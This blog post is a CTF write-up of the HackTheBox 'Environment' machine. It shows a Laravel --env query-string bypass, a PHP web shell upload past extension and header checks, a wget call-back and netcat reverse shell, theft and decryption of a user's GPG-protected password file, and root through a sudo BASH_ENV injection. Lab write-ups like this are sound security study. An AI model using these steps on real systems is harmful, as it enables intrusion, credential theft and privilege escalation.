Environment Writeup (HackTheBox Medium Machine)


Overview

Environment is a medium Linux machine from HackTheBox. This box is mostly about environment variables and contains some rare challenges for intermediate hackers.

We start by raising an exception in the Laravel web application, which exposes us to a snippet of backend source code. Next, we exploit the environment manipulation vulnerability via query string in Laravel, changing the environment to “pre-production”, granting us access to admin dashboard. Next, we utilize file upload bypass techniques and get a shell on the machine.

Once inside, we compromise another user by decrypting his asymmetrically encrypted PGP backup file, giving us this user’s password list. To get root, we check our sudo permissions configuration and discover a possibility to inject custom Bash script into preserved environment variable “BASH_ENV”. We abuse this functionality and give ourselves a root shell.


Nmap scan

Starting with Nmap scan.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -A 10.10.11.67 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-05 07:33 EDT
Nmap scan report for 10.10.11.67
Host is up (0.034s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
|_ 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://environment.htb
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 33.56 ms 10.10.14.1
2 33.62 ms 10.10.11.67

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds

The Nmap scan showed 2 open ports. Port 22 for SSH and port 80 for Nginx HTTP server. Don’t forget to add the “environment.htb” domain to your “/etc/hosts” file.


Web enumeration

I visited the website, which was about our nature and environment. Wappalyzer revealed that there’s Laravel web framework running in the backend with PHP.

I examined the network traffic and the source code. I found a weird hidden variable in the source code named “_token”, which may represent something like our session token.


I ran Gobuster to perform directory enumeration. Gobuster found couple interesting directories.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u "http://environment.htb" -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 64 -r
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://environment.htb
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 200) [Size: 2391]
/upload (Status: 405) [Size: 244852]
/storage (Status: 403) [Size: 153]
/up (Status: 200) [Size: 2126]
/logout (Status: 200) [Size: 2391]
/vendor (Status: 403) [Size: 153]
/build (Status: 403) [Size: 153]
/mailing (Status: 405) [Size: 244854]

After that, I visited each discovered directory to see it’s content. But when I visited “/mailing” or “/upload”, a 405 Method Not Allowed graphic popped at me with some details about sent requests. But there were also software versions exposed on the page. PHP 8.2.28 and Laravel 11.30.0.

Laravel is a free, open-source PHP web application framework designed to make web development easier and more efficient. It follows the Model–View–Controller (MVC) architectural pattern and provides a clean, elegant syntax that encourages good coding practices and rapid development. (ChatGPT)


Exploiting Laravel environment manipulation vulnerability & getting to the admin dashboard

I’ve done some research on Laravel 11.30.0 and found certain Laravel environment manipulation vulnerability. To understand it, I recommend reading this article: https://securinglaravel.com/laravel-security-notice-laravel-environment-manipulation-via-query-string/.

This vulnerability would explain the title of this box “Environment”. Let’s give this one a shot.

The vulnerability lies in the way Laravel handles query strings, allowing argument injection. It allows attackers to manipulate application’s settings via specially crafted query strings.

Reddit discussion is another good source of information (at least other people’s points of view) I found here: https://www.reddit.com/r/laravel/comments/1gr5t2f/security_advisories_environment_manipulation_via/. One guy suggests that provoking an exception in Laravel can give us a lot of helpful output.

If the debug mode is enabled, we may get back even more output and maybe some sensitive information too. Now we have to figure out a way to raise an exception in the Laravel application.


Typically, you can raise an exception by providing the application unexpected input. Certain variables expect certain types of input (like integer or character, each has different byte size). After carefully checking all discovered directories, I found one potentially vulnerable parameter on the “/login” page called “remember”. This parameter expected a boolean value (True or False).

Changing this “remember” parameter to anything else than “True” or “False” should throw an exception on us. And it gave me 500 Internal Server Error and the error page.

modified “remember” parameter causing 500 Internal Server Error


If we inspect the error page more closely, we can find bunch of information here, like the entire sent request and the database queries, checking our token.

More importantly, we also get a peek on the PHP source code. Right under the line where an exception was raised, there’s a piece of code which redirects us to “/management/dashboard” when the “App environment” variable is set to “preprod”.

exposed PHP code snippet on the error page

If we could utilize the Laravel environment manipulation vulnerability and overwrite the “App environment” variable, we could get access to the dashboard. Let’s do this!


I went back to the Reddit post, looking for some tips from others. One guy mentions how to replicate the vulnerability by modifying the “app()→environment()” with “--env” query parameter, which is exactly what we need right now.

Based on this post and the code we saw earlier, we can deduce this: When we try to login and send POST request to the “/login” page with correct parameters (exception shouldn’t be raised) and with “ --env=preprod” as query in the URL, we should get redirected to the “management/dashboard” admin page. Go back to Burp Suite and intercept the request.

Ensure that all parameters in the request body are correct and add “? --env=preprod” to the URL.

appending malicious query string, switching app environment to pre-production

After forwarding the request, we get to the admin dashboard as user “Hish”.


Bypassing file upload & getting user flag

We have bunch of usernames here in the mailing list. It’s always a good practice to note down all discovered usernames, because you never know when you might need them.

I looked around a bit and discovered a profile picture upload functionality in the “Profile” tab. It might be worth it to play with it for a while.

So I uploaded a picture of cute doggo to test the functionality. There was a path to the uploaded file “/storage/files/[YOUR FILE]” showed in the response.

My first idea was to upload a PHP shell script. So I grabbed this PHP cmd script from revshells.com.


The website backend detected PHP script and flagged it, forcing me to try some file upload bypass techniques. I’ve tested it for some time, tried multiple bypasses and approaches like changing the file extension (php5, phtml, phar…) and modifying the file header.

After couple tries, I figured out a way to bypass these restrictions. Two conditions had to be met: file extension had to represent PHP file, but couldn’t be “.php” (for example “.php5”) and first few bytes of the file had to represent an image (for example use JPEG file header).

bypassing file upload restrictions by changing file extension and appending JPEG header bytes

This came through. I started a Python server on my machine and visited my file on “/storage/files/exploit.php5?cmd=wget http://[IP]:[PORT]/hacked” to test if the RCE works. But the file simply got downloaded. This is a common issue and luckily has very easy fix.


If such thing ever happens to you, you can try to append a dot to the end of the filename (don’t even have to change the file extension from “.php” now) like so:

Once again, I visited my file and entered command to “cmd” parameter, which reached out to my Python server. To my delight, the RCE worked.

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
10.10.11.67 - - [08/May/2025 11:52:13] code 404, message File not found
10.10.11.67 - - [08/May/2025 11:52:13] "GET /hacked HTTP/1.1" 404 -


Now I can simply change the command in the “cmd” parameter to get a reverse shell.

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.91] from (UNKNOWN) [10.10.11.67] 48182
whoami
www-data
pwd
/var/www/app/storage/app/public/files

I checked “/etc/passwd” file and found out that there’s only one user on the machine other that “root” named “hish”. User flag sits patiently in Hish’s home directory.

www-data@environment:/home$ ls
ls
hish
www-data@environment:/home$ ls -la hish
ls -la hish
total 36
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 .
drwxr-xr-x 3 root root 4096 Jan 12 11:51 ..
lrwxrwxrwx 1 root root 9 Apr 7 19:29 .bash_history -> /dev/null
-rw-r--r-- 1 hish hish 220 Jan 6 21:28 .bash_logout
-rw-r--r-- 1 hish hish 3526 Jan 12 14:42 .bashrc
drwxr-xr-x 4 hish hish 4096 May 9 00:22 .gnupg
drwxr-xr-x 3 hish hish 4096 Jan 6 21:43 .local
-rw-r--r-- 1 hish hish 807 Jan 6 21:28 .profile
drwxr-xr-x 2 hish hish 4096 Jan 12 11:49 backup
-rw-r--r-- 1 root hish 33 May 9 00:15 user.txt


Compromising user “hish”

When I finally land a shell in these CTFs, I usually look around the “/var/www” directory for a while, because that’s where all the website pages and files normally are stored. I look for some logs, database or config files, which are helpful because they can contain credentials for other users on the machine.

Here I am in the “/var/www/app” directory, which is basically the root directory for the Laravel web app. Although it’s not the case in this box, I highlighted some interesting directories for you which you definitely should check out and look for some valuable information like credentials.


Back to user “hish”: beside the user flag, this user has another directory in his home directory called “backup”, which contains PGP RSA encrypted file called “keyvault.gpg”. This file could contain Hish’s backup credentials.

There are 2 ways the PGP file could be encrypted: symmetric or asymmetric way. If it would be encrypted the symmetric way (encrypted with passphrase), you’ll be prompted to enter the correct passphrase, and if it would be encrypted the asymmetric way (encrypted with RSA public key), you’ll need the RSA private key.

www-data@environment:/home/hish/backup$ ls -la
ls -la
total 12
drwxr-xr-x 2 hish hish 4096 Jan 12 11:49 .
drwxr-xr-x 5 hish hish 4096 Apr 11 00:51 ..
-rw-r--r-- 1 hish hish 430 May 9 00:24 keyvault.gpg
www-data@environment:/home/hish/backup$ file keyvault.gpg
file keyvault.gpg
keyvault.gpg: PGP RSA encrypted session key - keyid: B755B0ED D6CFCFD3 RSA (Encrypt or Sign) 2048b .
www-data@environment:/home/hish/backup$

Running “file” command on the file, we can see that it was encrypted asymmetrically with RSA key. If we would downloaded it, we couldn’t access it due to incorrect private key.

So we have to decrypt it locally. Since the decryption produces a decrypted file, we need write permissions over Hish’s home directory, which we don’t have. In that case, we have to create our own directory where we will operate, ideally in “/tmp”. I spent some time, figuring out how to decrypt asymmetrically encrypted PGP files with ChatGPT and here’s what had worked for me.


Firstly, create a temporary directory.

www-data@environment:/home/hish$ cd /tmp
cd /tmp
www-data@environment:/tmp$ mkdir secret
mkdir secret

Secondly, copy the “.gnupg” directory from Hish’s home directory to your temporary one. It’s the default directory for PGP keys. When decrypting with “gpg”, the binary looks into “.gnupg” in the user’s home directory by default, looking for PGP keys.

www-data@environment:/tmp/secret$ cp -r /home/hish/.gnupg .
cp -r /home/hish/.gnupg .
www-data@environment:/tmp/secret$ ls -la
ls -la
total 12
drwxr-xr-x 3 www-data www-data 4096 May 9 16:53 .
drwxrwxrwt 10 root root 4096 May 9 16:53 ..
drwxr-xr-x 4 www-data www-data 4096 May 9 16:53 .gnupg

Thirdly, set the appropriate permissions to your temporary directory. Directories and files with sensitive PGP keys should have restricted permissions, limited to the owner user only. If you would skip this step, “gpg” would scream at you during the decryption.

www-data@environment:/tmp/secret$ chmod -R 700 /tmp/secret
chmod -R 700 /tmp/secret
www-data@environment:/tmp/secret$ ls -la
ls -la
total 12
drwx------ 3 www-data www-data 4096 May 9 16:53 .
drwxrwxrwt 10 root root 4096 May 9 16:53 ..
drwx------ 4 www-data www-data 4096 May 9 16:53 .gnupg

Fourth, verify the presence of PGP key. Specify the home directory (otherwise it would default to your user’s home directory), where the PGP key is present. With “--list-secret-keys”, verify that the PGP key is present to avoid more confusion.

www-data@environment:/tmp/secret$ gpg --homedir /tmp/secret/.gnupg --list-secret-keys
<gpg --homedir /tmp/secret/.gnupg --list-secret-keys
/tmp/secret/.gnupg/pubring.kbx
------------------------------
sec rsa2048 2025-01-11 [SC]
F45830DFB638E66CD8B752A012F42AE5117FFD8E
uid [ultimate] hish_ <hish@environment.htb>
ssb rsa2048 2025-01-11 [E]

Finally, decrypt the “keyvault.gpg” file. You should get new text file.

www-data@environment:/tmp/secret$ gpg --homedir /tmp/secret/.gnupg --output secret.txt --decrypt /home/hish/backup/keyvault.gpg
<secret.txt --decrypt /home/hish/backup/keyvault.gpg
gpg: encrypted with 2048-bit RSA key, ID B755B0EDD6CFCFD3, created 2025-01-11
"hish_ <hish@environment.htb>"
www-data@environment:/tmp/secret$ ls -la
ls -la
total 16
drwx------ 3 www-data www-data 4096 May 9 16:55 .
drwxrwxrwt 10 root root 4096 May 9 16:53 ..
drwx------ 4 www-data www-data 4096 May 9 16:55 .gnupg
-rw-r--r-- 1 www-data www-data 107 May 9 16:55 secret.txt
www-data@environment:/tmp/secret$ cat secret.txt
cat secret.txt
PAYPAL.COM -> Ihaves0meMon$yhere123
ENVIRONMENT.HTB -> [REDACTED]
FACEBOOK.COM -> summerSunnyB3ACH!!

There is a password list inside the decrypted file. One for “ENVIRONMENT.HTB” domain as well.


Modifying environment variable to get root shell & getting root flag

Login into the machine via SSH as user “hish”. Now we have to get to root.

I went down my usual checklist of privilege escalation vectors, starting with checking my user’s sudo permissions with “sudo -l”. I could run “systeminfo” as root.

hish@environment:~$ sudo -l
[sudo] password for hish:
Matching Defaults entries for hish on environment:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+="ENV BASH_ENV", use_pty

User hish may run the following commands on environment:
(ALL) /usr/bin/systeminfo

Let’s look at it more closely. We can see that it’s actually a Bash script, that prints out information like kernel logs, open ports, mounted filesystems et cetera.

hish@environment:~$ file /usr/bin/systeminfo 
/usr/bin/systeminfo: Bourne-Again shell script, ASCII text executable
hish@environment:~$ cat /usr/bin/systeminfo
#!/bin/bash
echo -e "\n### Displaying kernel ring buffer logs (dmesg) ###"
dmesg | tail -n 10

echo -e "\n### Checking system-wide open ports ###"
ss -antlp

echo -e "\n### Displaying information about all mounted filesystems ###"
mount | column -t

echo -e "\n### Checking system resource limits ###"
ulimit -a

echo -e "\n### Displaying loaded kernel modules ###"
lsmod | head -n 10

echo -e "\n### Checking disk usage for all filesystems ###"
df -h


I ran my trusty Linpeas on the machine, just to make sure that I wasn’t missing anything. And I was! Linpeas pointed out the “env_keep” expression in my user’s sudo permissions.

Linpeas highlighting “env_keep” expression

The env_keep+="ENV BASH_ENV" in sudo config is a privilege escalation vector. It means that when you run sudo, it preserves the environment variables “ENV” and “BASH_ENV”. These can be used to inject commands into a root shell if you run a Bash shell as root — or any command that invokes Bash. If that program calls Bash internally, or even runs a shell script, you can exploit “BASH_ENV” to get root. (ChatGPT)

To be honest, I’ve seen this for the first time and had to use ChatGPT for this. ChatGPT spat out simple step-by-step guide on how to exploit it.


Firstly, create a Bash script that invokes a shell and mark it as executable.

hish@environment:~$ cd /tmp
hish@environment:/tmp$ echo "bash -p" > script.sh
hish@environment:/tmp$ chmod +x script.sh
hish@environment:/tmp$ cat script.sh
bash -p

Secondly, export the “BASH_ENV” environment variable with the path to our malicious Bash script.

hish@environment:/tmp$ export BASH_ENV=/tmp/script.sh

Finally, simply run the “systeminfo” script.

hish@environment:/tmp$ sudo /usr/bin/systeminfo
root@environment:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@environment:/tmp# cd /root
root@environment:~# ls -la
total 44
drwx------ 6 root root 4096 May 9 20:35 .
drwxr-xr-x 18 root root 4096 Apr 30 00:31 ..
lrwxrwxrwx 1 root root 9 Apr 7 19:29 .bash_history -> /dev/null
-rw-r--r-- 1 root root 571 Apr 11 2021 .bashrc
drwx------ 3 root root 4096 Jan 12 10:23 .config
-rw------- 1 root root 20 Apr 7 20:34 .lesshst
drwxr-xr-x 3 root root 4096 Jan 8 12:56 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r--r-- 1 root root 33 May 9 20:35 root.txt
drwxr-xr-x 2 root root 4096 Apr 11 00:55 scripts
-rw-r--r-- 1 root root 66 Jan 12 13:12 .selected_editor
drwx------ 2 root root 4096 Jan 6 21:19 .ssh

And enjoy the root shell :D. Root flag patiently sits in ”/root” directory.


Summary & final thoughts

Environment is a medium machine from HackTheBox. This box can be a tough challenge, but once completed, you can walk away with some extra knowledge. As the title implies, this machine is mostly about environment variables, their possible weaknesses and misconfigurations. Our first exploit gets us into admin dashboard, when we switch the Laravel application environment to “pre-production” by modifying the environment variable via query string. This is a known vulnerability in Laravel web framework. After that, we use certain file upload bypass techniques to upload a PHP shell script, getting the initial foothold. Inside the machine, we encounter an asymmetrically encrypted PGP backup file, holding credentials for another user “hish”. After using this user’s PGP key for decryption, we login as “hish”. Hish has sudo permissions over “systeminfo” script, but with badly implemented configuration, which preserves certain environment variables. These variables can be used to run custom scripts, allowing us to run Bash-invoking script, granting us the root shell. This box tackles some advanced concepts and requires some vulnerability chaining during the initial exploitation phase. Recommending to any intermediate cybersecurity enthusiast who wants to practice his skills. Beginners shouldn’t be discouraged for sure, because although the box can be difficult to complete, they can still learn a lot of essential advanced concepts in cybersecurity. In my opinion, “Environment” is a fun machine. It combines easier (file upload bypasses) and advanced challenges (PGP asymmetric decryption, environment variable manipulation). It can be tough at times, but definitely rewarding once you complete it.

Comments

Popular posts from this blog

Hospital Writeup (HackTheBox Medium Machine)

Bucket Writeup (HackTheBox Medium Machine)

Mr Robot Writeup (Vulnhub Intermediate Machine)